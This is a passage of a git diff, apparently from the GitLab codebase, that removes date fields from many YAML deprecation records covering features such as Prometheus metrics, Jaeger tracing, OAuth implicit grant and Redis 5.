removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # If this deprecation is a breaking change, set this value to true
body: | # Do not modify this line, instead modify the lines below.
The logging features in GitLab allow users to install the ELK stack (Elasticsearch, Logstash, and Kibana) to aggregate and manage application logs. Users can search for relevant logs in GitLab. However, since deprecating certificate-based integration with Kubernetes clusters and GitLab Managed Apps, we don't have a recommended solution for logging within GitLab. For more information, you can follow the issue for [integrating Opstrace with GitLab](https://gitlab.com/groups/gitlab-org/-/epics/6976).
diff --git a/data/deprecations/15-0-deprecate-monitor-metrics.yml b/data/deprecations/15-0-deprecate-monitor-metrics.yml
index 652845f0090..e10dba0c8e0 100644
--- a/data/deprecations/15-0-deprecate-monitor-metrics.yml
+++ b/data/deprecations/15-0-deprecate-monitor-metrics.yml
@@ -1,8 +1,6 @@
- title: "Monitor performance metrics through Prometheus" # The name of the feature to be deprecated
announcement_milestone: "14.7" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-01-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # If this deprecation is a breaking change, set this value to true
body: | # Do not modify this line, instead modify the lines below.
By displaying data stored in a Prometheus instance, GitLab allows users to view performance metrics. GitLab also displays visualizations of these metrics in dashboards. The user can connect to a previously-configured external Prometheus instance, or set up Prometheus as a GitLab Managed App.
diff --git a/data/deprecations/15-0-deprecate-monitor-tracing.yml b/data/deprecations/15-0-deprecate-monitor-tracing.yml
index 3989ea2ed68..5a7e06a96e9 100644
--- a/data/deprecations/15-0-deprecate-monitor-tracing.yml
+++ b/data/deprecations/15-0-deprecate-monitor-tracing.yml
@@ -1,8 +1,6 @@
- title: "Tracing in GitLab" # The name of the feature to be deprecated
announcement_milestone: "14.7" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-01-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # If this deprecation is a breaking change, set this value to true
body: | # Do not modify this line, instead modify the lines below.
Tracing in GitLab is an integration with Jaeger, an open-source end-to-end distributed tracing system. GitLab users can navigate to their Jaeger instance to gain insight into the performance of a deployed application, tracking each function or microservice that handles a given request. Tracing in GitLab is deprecated in GitLab 14.7, and scheduled for removal in 15.0. To track work on a possible replacement, see the issue for [Opstrace integration with GitLab](https://gitlab.com/groups/gitlab-org/-/epics/6976).
diff --git a/data/deprecations/15-0-deprecate-postgresql-12.yml b/data/deprecations/15-0-deprecate-postgresql-12.yml
index 1cf463d9411..ec8e32f1c1d 100644
--- a/data/deprecations/15-0-deprecate-postgresql-12.yml
+++ b/data/deprecations/15-0-deprecate-postgresql-12.yml
@@ -1,8 +1,6 @@
- title: "PostgreSQL 12 deprecated"
announcement_milestone: "15.0"
- announcement_date: "2022-05-22"
removal_milestone: "16.0"
- removal_date: "2023-05-22"
breaking_change: true
reporter: iroussos
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/15-0-instance-statistics-graphql-node-removal.yml b/data/deprecations/15-0-instance-statistics-graphql-node-removal.yml
index 5d2527094f9..53a9a2dda5d 100644
--- a/data/deprecations/15-0-instance-statistics-graphql-node-removal.yml
+++ b/data/deprecations/15-0-instance-statistics-graphql-node-removal.yml
@@ -1,8 +1,6 @@
- title: "Querying Usage Trends via the `instanceStatisticsMeasurements` GraphQL node"
announcement_milestone: "14.8"
- announcement_date: "2022-02-22"
removal_milestone: "15.0"
- removal_date: "2022-05-22"
breaking_change: true
body: | # Do not modify this line, instead modify the lines below.
The `instanceStatisticsMeasurements` GraphQL node has been renamed to `usageTrendsMeasurements` in 13.10 and the old field name has been marked as deprecated. To fix the existing GraphQL queries, replace `instanceStatisticsMeasurements` with `usageTrendsMeasurements`.
diff --git a/data/deprecations/15-0-oauth-noexpiry.yml b/data/deprecations/15-0-oauth-noexpiry.yml
index 88ccb7702b8..e27ac4d8725 100644
--- a/data/deprecations/15-0-oauth-noexpiry.yml
+++ b/data/deprecations/15-0-oauth-noexpiry.yml
@@ -1,8 +1,6 @@
- title: "OAuth tokens without expiration" # The name of the feature to be deprecated
announcement_milestone: "14.8" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-02-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # If this deprecation is a breaking change, set this value to true
body: | # Do not modify this line, instead modify the lines below.
By default, all new applications expire access tokens after 2 hours. In GitLab 14.2 and earlier, OAuth access tokens
diff --git a/data/deprecations/15-0-oauth.yml b/data/deprecations/15-0-oauth.yml
index b7af6b51afc..db962abfe87 100644
--- a/data/deprecations/15-0-oauth.yml
+++ b/data/deprecations/15-0-oauth.yml
@@ -1,8 +1,6 @@
- title: "OAuth implicit grant" # The name of the feature to be deprecated
announcement_milestone: "14.0" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2021-06-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
- removal_date: "2022-05-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # If this deprecation is a breaking change, set this value to true
body: | # Do not modify this line, instead modify the lines below.
The OAuth implicit grant authorization flow will be removed in our next major release, GitLab 15.0. Any applications that use OAuth implicit grant should switch to alternative [supported OAuth flows](https://docs.gitlab.com/ee/api/oauth2.html).
diff --git a/data/deprecations/15-0-runner-status-legacy-mode.yml b/data/deprecations/15-0-runner-status-legacy-mode.yml
index dfdbf6e5f58..dcc74703e49 100644
--- a/data/deprecations/15-0-runner-status-legacy-mode.yml
+++ b/data/deprecations/15-0-runner-status-legacy-mode.yml
@@ -1,8 +1,6 @@
- title: "GraphQL API legacyMode argument for Runner status" # The name of the feature to be deprecated
announcement_milestone: "15.0" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-05-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # If this deprecation is a breaking change, set this value to true
reporter: pedropombeiro # GitLab username of the person reporting the deprecation
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/15-1-deprecate-maintainer_note.yml b/data/deprecations/15-1-deprecate-maintainer_note.yml
index fc35244827d..175f85e997f 100644
--- a/data/deprecations/15-1-deprecate-maintainer_note.yml
+++ b/data/deprecations/15-1-deprecate-maintainer_note.yml
@@ -1,8 +1,6 @@
- title: "REST API Runner maintainer_note" # (required) The name of the feature to be deprecated
announcement_milestone: "15.1" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-06-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: pedropombeiro # (required) GitLab username of the person reporting the deprecation
stage: Verify # (required) String value of the stage that the feature was created in. e.g., Growth
diff --git a/data/deprecations/15-1-jira-github-enterprise-dvcs.yml b/data/deprecations/15-1-jira-github-enterprise-dvcs.yml
index 69606c3dd2d..88b1b41953c 100644
--- a/data/deprecations/15-1-jira-github-enterprise-dvcs.yml
+++ b/data/deprecations/15-1-jira-github-enterprise-dvcs.yml
@@ -1,8 +1,6 @@
- title: "Jira GitHub Enterprise DVCS integration" # The name of the feature to be deprecated
announcement_milestone: "15.1" # The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-06-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # If this deprecation is a breaking change, set this value to true
body: | # Do not modify this line, instead modify the lines below.
The [Jira DVCS Connector](https://docs.gitlab.com/ee/integration/jira/dvcs.html) (which enables the [Jira Development Panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/)), will no longer support Jira Cloud users starting with GitLab 16.0. The [GitLab for Jira App](https://docs.gitlab.com/ee/integration/jira/connect-app.html) has always been recommended for Jira Cloud users, and it will be required instead of the DVCS connector. If you are a Jira Cloud user, we recommended you begin migrating to the GitLab for Jira App.
diff --git a/data/deprecations/15-1-pipelinesecurityreportfinding-name.yml b/data/deprecations/15-1-pipelinesecurityreportfinding-name.yml
index aa6b9ea06db..a77b39c3c7e 100644
--- a/data/deprecations/15-1-pipelinesecurityreportfinding-name.yml
+++ b/data/deprecations/15-1-pipelinesecurityreportfinding-name.yml
@@ -1,8 +1,6 @@
- title: "PipelineSecurityReportFinding name GraphQL field" # (required) The name of the feature to be deprecated
announcement_milestone: "15.1" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-06-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: matt_wilson # (required) GitLab username of the person reporting the deprecation
stage: Secure # (required) String value of the stage that the feature was created in. e.g., Growth
diff --git a/data/deprecations/15-1-pipelinesecurityreportfinding-projectfingerprint.yml b/data/deprecations/15-1-pipelinesecurityreportfinding-projectfingerprint.yml
index e127a258f4f..7e444ed1436 100644
--- a/data/deprecations/15-1-pipelinesecurityreportfinding-projectfingerprint.yml
+++ b/data/deprecations/15-1-pipelinesecurityreportfinding-projectfingerprint.yml
@@ -1,8 +1,6 @@
- title: "PipelineSecurityReportFinding projectFingerprint GraphQL field" # (required) The name of the feature to be deprecated
announcement_milestone: "15.1" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-06-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: matt_wilson # (required) GitLab username of the person reporting the deprecation
stage: Secure # (required) String value of the stage that the feature was created in. e.g., Growth
diff --git a/data/deprecations/15-1-project-pipeline-securityReportFindings.yml b/data/deprecations/15-1-project-pipeline-securityReportFindings.yml
index bb46a9b90dd..1bb60adb812 100644
--- a/data/deprecations/15-1-project-pipeline-securityReportFindings.yml
+++ b/data/deprecations/15-1-project-pipeline-securityReportFindings.yml
@@ -1,8 +1,6 @@
- title: "project.pipeline.securityReportFindings GraphQL query" # (required) The name of the feature to be deprecated
announcement_milestone: "15.1" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-06-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: matt_wilson # (required) GitLab username of the person reporting the deprecation
stage: Secure # (required) String value of the stage that the feature was created in. e.g., Growth
diff --git a/data/deprecations/15-2-deprecation-vulnerability-report-state-sort.yml b/data/deprecations/15-2-deprecation-vulnerability-report-state-sort.yml
index 2bcf1e114b4..4bec4ff1fd0 100644
--- a/data/deprecations/15-2-deprecation-vulnerability-report-state-sort.yml
+++ b/data/deprecations/15-2-deprecation-vulnerability-report-state-sort.yml
@@ -1,8 +1,6 @@
- title: "Vulnerability Report sort by State" # (required) The name of the feature to be deprecated
announcement_milestone: "15.0" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-05-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.3" # (required) The milestone when this feature is planned to be removed
- removal_date: "2022-08-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: false # (required) If this deprecation is a breaking change, set this value to true
reporter: matt_wilson # (required) GitLab username of the person reporting the deprecation
stage: Secure # (required) String value of the stage that the feature was created in. e.g., Growth
diff --git a/data/deprecations/15-2-job_age-deprecation.yml b/data/deprecations/15-2-job_age-deprecation.yml
index b550f10920e..c4b2d5bb683 100644
--- a/data/deprecations/15-2-job_age-deprecation.yml
+++ b/data/deprecations/15-2-job_age-deprecation.yml
@@ -19,9 +19,7 @@
#
- title: "Remove `job_age` parameter from `POST /jobs/request` Runner endpoint" # (required) The name of the feature to be deprecated
announcement_milestone: "15.2" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-07-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: jheimbuck_gl # (required) GitLab username of the person reporting the deprecation
stage: Verify # (required) String value of the stage that the feature was created in. e.g., Growth
@@ -34,7 +32,6 @@
# OPTIONAL FIELDS
#
end_of_support_milestone: # (optional) Use "XX.YY" format. The milestone when support for this feature will end.
- end_of_support_date: # (optional) The date of the milestone release when support for this feature will end.
tiers: # (optional - may be required in the future) An array of tiers that the feature is available in currently. e.g., [Free, Silver, Gold, Core, Premium, Ultimate]
documentation_url: # (optional) This is a link to the current documentation page
image_url: # (optional) This is a link to a thumbnail image depicting the feature
diff --git a/data/deprecations/15-3-deprecate-redis-5.yml b/data/deprecations/15-3-deprecate-redis-5.yml
index b94539061e5..da970bbef3b 100644
--- a/data/deprecations/15-3-deprecate-redis-5.yml
+++ b/data/deprecations/15-3-deprecate-redis-5.yml
@@ -1,8 +1,6 @@
- title: "Redis 5 deprecated" # (required) The name of the feature to be deprecated
announcement_milestone: "15.3" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-08-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: tnir
stage: Enablement
@@ -12,5 +10,4 @@
Redis 5 has reached the end of life in April 2022 and will no longer be supported as of GitLab 15.6.
If you are using your own Redis 5.0 instance, you should upgrade it to Redis 6.0 or higher before upgrading to GitLab 16.0 or higher.
end_of_support_milestone: "15.6"
- end_of_support_date: "2022-11-22"
documentation_url: https://docs.gitlab.com/ee/install/requirements.html
diff --git a/data/deprecations/15-3-deprecation-vulnerability-report-tool-sort.yml b/data/deprecations/15-3-deprecation-vulnerability-report-tool-sort.yml
index a3965f7d0cb..4650173fcc6 100644
--- a/data/deprecations/15-3-deprecation-vulnerability-report-tool-sort.yml
+++ b/data/deprecations/15-3-deprecation-vulnerability-report-tool-sort.yml
@@ -1,8 +1,6 @@
- title: "Vulnerability Report sort by Tool" # (required) The name of the feature to be deprecated
announcement_milestone: "15.1" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-06-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.3" # (required) The milestone when this feature is planned to be removed
- removal_date: "2022-08-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: false # (required) If this deprecation is a breaking change, set this value to true
reporter: matt_wilson # (required) GitLab username of the person reporting the deprecation
stage: Secure # (required) String value of the stage that the feature was created in. e.g., Growth
diff --git a/data/deprecations/15-3-omniauth-cas3.yml b/data/deprecations/15-3-omniauth-cas3.yml
index 70290a3fc51..070e1e24431 100644
--- a/data/deprecations/15-3-omniauth-cas3.yml
+++ b/data/deprecations/15-3-omniauth-cas3.yml
@@ -3,9 +3,7 @@
#
- title: "CAS OmniAuth provider" # (required) The name of the feature to be deprecated
announcement_milestone: "15.3" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-08-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: hsutor # (required) GitLab username of the person reporting the deprecation
stage: Manage # (required) String value of the stage that the feature was created in. e.g., Growth
diff --git a/data/deprecations/15-3-omniauth-crowd.yml b/data/deprecations/15-3-omniauth-crowd.yml
index e14b40a1505..ae883bd9140 100644
--- a/data/deprecations/15-3-omniauth-crowd.yml
+++ b/data/deprecations/15-3-omniauth-crowd.yml
@@ -3,9 +3,7 @@
#
- title: "Atlassian Crowd OmniAuth provider" # (required) The name of the feature to be deprecated
announcement_milestone: "15.3" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-08-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: hsutor # (required) GitLab username of the person reporting the deprecation
stage: Manage # (required) String value of the stage that the feature was created in. e.g., Growth
diff --git a/data/deprecations/15-3-pipeline_activity_limit.yml b/data/deprecations/15-3-pipeline_activity_limit.yml
index 5374e2d7972..ea7d0476910 100644
--- a/data/deprecations/15-3-pipeline_activity_limit.yml
+++ b/data/deprecations/15-3-pipeline_activity_limit.yml
@@ -19,9 +19,7 @@
#
- title: "Maximum number of active pipelines per project limit (`ci_active_pipelines`)" # (required) The name of the feature to be deprecated
announcement_milestone: "15.3" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-08-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: false # (required) If this deprecation is a breaking change, set this value to true
reporter: jheimbuck_gl # (required) GitLab username of the person reporting the deprecation
stage: Verify # (required) String value of the stage that the feature was created in. e.g., Growth
diff --git a/data/deprecations/15-3-vulnerabilityFindingDismiss-mutation.yml b/data/deprecations/15-3-vulnerabilityFindingDismiss-mutation.yml
index 691196a892b..1050b0e8327 100644
--- a/data/deprecations/15-3-vulnerabilityFindingDismiss-mutation.yml
+++ b/data/deprecations/15-3-vulnerabilityFindingDismiss-mutation.yml
@@ -3,9 +3,7 @@
#
- title: "Use of `id` field in vulnerabilityFindingDismiss mutation" # (required) The name of the feature to be deprecated
announcement_milestone: "15.3" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-08-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: 2023-05-22 # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: matt_wilson # (required) GitLab username of the person reporting the deprecation
stage: Secure # (required) String value of the stage that the feature was created in. e.g., Growth
@@ -16,7 +14,6 @@
# OPTIONAL FIELDS
#
end_of_support_milestone: # (optional) Use "XX.YY" format. The milestone when support for this feature will end.
- end_of_support_date: # (optional) The date of the milestone release when support for this feature will end.
tiers: # (optional - may be required in the future) An array of tiers that the feature is available in currently. e.g., [Free, Silver, Gold, Core, Premium, Ultimate]
documentation_url: https://docs.gitlab.com/ee/api/graphql/reference/index.html#mutationvulnerabilityfindingdismiss
image_url: # (optional) This is a link to a thumbnail image depicting the feature
diff --git a/data/deprecations/15-4-confidence-field-in-graphql.yml b/data/deprecations/15-4-confidence-field-in-graphql.yml
index 90e9a452a43..7f6e0d64c2e 100644
--- a/data/deprecations/15-4-confidence-field-in-graphql.yml
+++ b/data/deprecations/15-4-confidence-field-in-graphql.yml
@@ -1,8 +1,6 @@
- title: "Vulnerability confidence field"
announcement_milestone: "15.4"
- announcement_date: "2022-09-22"
removal_milestone: "16.0"
- removal_date: "2023-05-22"
breaking_change: true
reporter: matt_wilson
stage: govern
diff --git a/data/deprecations/15-4-create-deprecation-draft-quick-action-toggle.yml b/data/deprecations/15-4-create-deprecation-draft-quick-action-toggle.yml
index 8cb2a5a0b93..e68286960aa 100644
--- a/data/deprecations/15-4-create-deprecation-draft-quick-action-toggle.yml
+++ b/data/deprecations/15-4-create-deprecation-draft-quick-action-toggle.yml
@@ -1,8 +1,6 @@
- title: "Toggle behavior of `/draft` quick action in merge requests" # (required) The name of the feature to be deprecated
announcement_milestone: "15.4" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-09-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: phikai # (required) GitLab username of the person reporting the deprecation
stage: create # (required) String value of the stage that the feature was created in. e.g., Growth
diff --git a/data/deprecations/15-4-cs-docker-variables.yml b/data/deprecations/15-4-cs-docker-variables.yml
index 9bd0acff5b0..9cdf23f4112 100644
--- a/data/deprecations/15-4-cs-docker-variables.yml
+++ b/data/deprecations/15-4-cs-docker-variables.yml
@@ -1,8 +1,6 @@
- title: "Container Scanning variables that reference Docker"
announcement_milestone: "15.4"
- announcement_date: "2022-09-22"
removal_milestone: "16.0"
- removal_date: "2023-05-22"
breaking_change: true
reporter: sam.white
stage: secure
diff --git a/data/deprecations/15-4-deprecate-bundled-grafana.yml b/data/deprecations/15-4-deprecate-bundled-grafana.yml
index 1a78691c475..8bc2cf84031 100644
--- a/data/deprecations/15-4-deprecate-bundled-grafana.yml
+++ b/data/deprecations/15-4-deprecate-bundled-grafana.yml
@@ -1,8 +1,6 @@
- title: "Bundled Grafana deprecated"
announcement_milestone: "15.3"
- announcement_date: "2022-08-22"
removal_milestone: "15.4"
- removal_date: "2022-09-22"
breaking_change: false
reporter: dorrino
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/15-4-non-expiring-access-tokens.yml b/data/deprecations/15-4-non-expiring-access-tokens.yml
index a302c39bde6..651c170ae4b 100644
--- a/data/deprecations/15-4-non-expiring-access-tokens.yml
+++ b/data/deprecations/15-4-non-expiring-access-tokens.yml
@@ -1,8 +1,6 @@
- title: "Non-expiring access tokens"
announcement_milestone: "15.4"
- announcement_date: "2022-09-22"
removal_milestone: "16.0"
- removal_date: "2023-05-22"
breaking_change: true
reporter: hsutor
body: | # Do not modify this line, instead modify the lines below.
diff --git a/data/deprecations/15-4-starboard-directive.yml b/data/deprecations/15-4-starboard-directive.yml
index e83f240eef4..2a8e0cfe212 100644
--- a/data/deprecations/15-4-starboard-directive.yml
+++ b/data/deprecations/15-4-starboard-directive.yml
@@ -1,8 +1,6 @@
- title: "Starboard directive in the config for the GitLab Agent for Kubernetes"
announcement_milestone: "15.4"
- announcement_date: "2022-09-22"
removal_milestone: "16.0"
- removal_date: "2023-05-22"
breaking_change: true
reporter: sam.white
stage: secure
diff --git a/data/deprecations/15-5-confidential-field-on-notes.yml b/data/deprecations/15-5-confidential-field-on-notes.yml
index ad68eecf04e..f9a9afba0ed 100644
--- a/data/deprecations/15-5-confidential-field-on-notes.yml
+++ b/data/deprecations/15-5-confidential-field-on-notes.yml
@@ -1,8 +1,6 @@
- title: 'GraphQL field `confidential` changed to `internal` on notes'
announcement_milestone: '15.5'
- announcement_date: '2022-10-22'
removal_milestone: '16.0'
- removal_date: '2023-05-22'
breaking_change: true
reporter: nicolasdular
stage: plan
diff --git a/data/deprecations/15-5-disable-file-type-var-expansion-ci-pipeline.yml b/data/deprecations/15-5-disable-file-type-var-expansion-ci-pipeline.yml
index fe05cbfd62f..61f60ece3d4 100644
--- a/data/deprecations/15-5-disable-file-type-var-expansion-ci-pipeline.yml
+++ b/data/deprecations/15-5-disable-file-type-var-expansion-ci-pipeline.yml
@@ -1,8 +1,6 @@
- title: "File Type variable expansion in `.gitlab-ci.yml`" # (required) The name of the feature to be deprecated
announcement_milestone: "15.5" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-10-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.7" # (required) The milestone when this feature is planned to be removed
- removal_date: "2022-12-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: DarrenEastman # (required) GitLab username of the person reporting the deprecation
stage: Verify # (required) String value of the stage that the feature was created in. e.g., Growth
diff --git a/data/deprecations/15-5-vulnerabilityFindingDismiss-mutation.yml b/data/deprecations/15-5-vulnerabilityFindingDismiss-mutation.yml
index 56479933f94..cd9fa8796df 100644
--- a/data/deprecations/15-5-vulnerabilityFindingDismiss-mutation.yml
+++ b/data/deprecations/15-5-vulnerabilityFindingDismiss-mutation.yml
@@ -1,8 +1,6 @@
- title: "vulnerabilityFindingDismiss GraphQL mutation"
announcement_milestone: "15.5"
- announcement_date: "2022-10-22"
removal_milestone: "16.0"
- removal_date: "2023-05-22"
breaking_change: true
reporter: matt_wilson
stage: govern
diff --git a/data/deprecations/15-6-deprecate-config-fields-runner-helm-chart.yml b/data/deprecations/15-6-deprecate-config-fields-runner-helm-chart.yml
index 5690bc0763f..b93e2513c68 100644
--- a/data/deprecations/15-6-deprecate-config-fields-runner-helm-chart.yml
+++ b/data/deprecations/15-6-deprecate-config-fields-runner-helm-chart.yml
@@ -1,8 +1,6 @@
- title: "Configuration fields in GitLab Runner Helm Chart" # (required) The name of the feature to be deprecated
announcement_milestone: "15.6" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-11-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: ratchade # (required) GitLab username of the person reporting the deprecation
stage: Verify # (required) String value of the stage that the feature was created in. e.g., Growth
@@ -10,4 +8,3 @@
body: | # (required) Do not modify this line, instead modify the lines below.
From GitLab 13.6, users can [specify any runner configuration in the GitLab Runner Helm chart](https://docs.gitlab.com/runner/install/kubernetes.html). When we implemented this feature, we deprecated values in the GitLab Helm Chart configuration that were specific to GitLab Runner. These fields are deprecated and we plan to remove them in v1.0 of the GitLab Runner Helm chart.
end_of_support_milestone: "16.0" # (optional) Use "XX.YY" format. The milestone when support for this feature will end.
